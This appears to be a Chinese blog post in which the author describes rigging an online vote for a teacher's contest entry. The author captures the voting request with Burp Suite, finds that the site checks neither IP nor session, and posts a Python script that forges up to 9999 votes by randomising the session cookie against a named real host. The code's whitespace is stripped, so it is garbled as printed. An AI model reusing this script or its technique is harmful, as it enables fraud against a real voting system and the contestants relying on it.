LOL,既然要写文章..而且我好久不用python了, 那就不说了
今天上课,老师要求我们给一个老师刷票,人家去参加一个比赛..需要学生投票,所以无聊了,就写了个投票程序.
OK,来看看投票的页面..
看起来好丑是不… 既然不是自己做的.. 还是不要吐槽了
对于刷票嘛,大家都知道.需要有一个抓包的过程
那么我们就祭出神器burpsuite,改端口这些神马的就不说了啊、
So easy,妈妈再也不用担心我们抓不到包了!
看了一看,感觉这种简单的界面..编程的程序员也好不到哪去了吧..
于是乎… send to the repeater, 改下aspsessionidaddsrqia玩玩试试
卧槽..
这程序员真给力…IP都不判断了….直接投票成功….
话不多说。。开始构建代码
首先,我们需要一个生成随机字母的东西,来代替aspsessionXXXXX
之后,我们还需要urllib urllib2来帮我们发送请求,那么就直接上代码了!
这个东西..怎么说呢…好简单… 就不加神马的奇葩注释了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53[cce_Python]
#-*-coding:utf-8*-
importurllib2
url="http://dsfasdfasdfasdf9415689711"
urll="http://asdfasdfasdfasdf799238669190801"
#### Generate random ASPSESSIONIDAADSRTQA
importrandom
codeSeedA="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
defdigit(raw):
l=len(raw)
returnraw[random.randrange(l)]
defcodeGen():
codes_pool=[]
code=""
foriinrange(24):
code+=digit(codeSeedA)
codes_pool.append(code)
returncodes_pool
#### 22 letters
#### start http request
i=0
whilei<9999:
send_headers={"Accept":"*/*",
"Referer":"http://weike.cflo.com.cn/play.asp?vodid=169877&e=1",
"Accept-Language":"zh-cn",
"Accept-Encoding":"gzip, deflate",
"User-Agent":"Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; LCJB; rv:11.0) like Gecko",
"Host":"weike.cflo.com.cn",
"DNT":"1",
}
cookies="Weike_Userhits_169877=1; ASPSESSIONIDAADSRTQA=%s; pgv_pvi=3426558976; pgv_si=s6550984704"%codeGen().pop()
send_headers['Cookie']=cookies
req=urllib2.Request(urll,headers=send_headers)
r=urllib2.urlopen(req)
html=r.read()
html=html.decode('utf-8','replace')
i=i+1
printi
###loop end
[/cce_Python]
Ok,bye!文章主刷票,练py去了…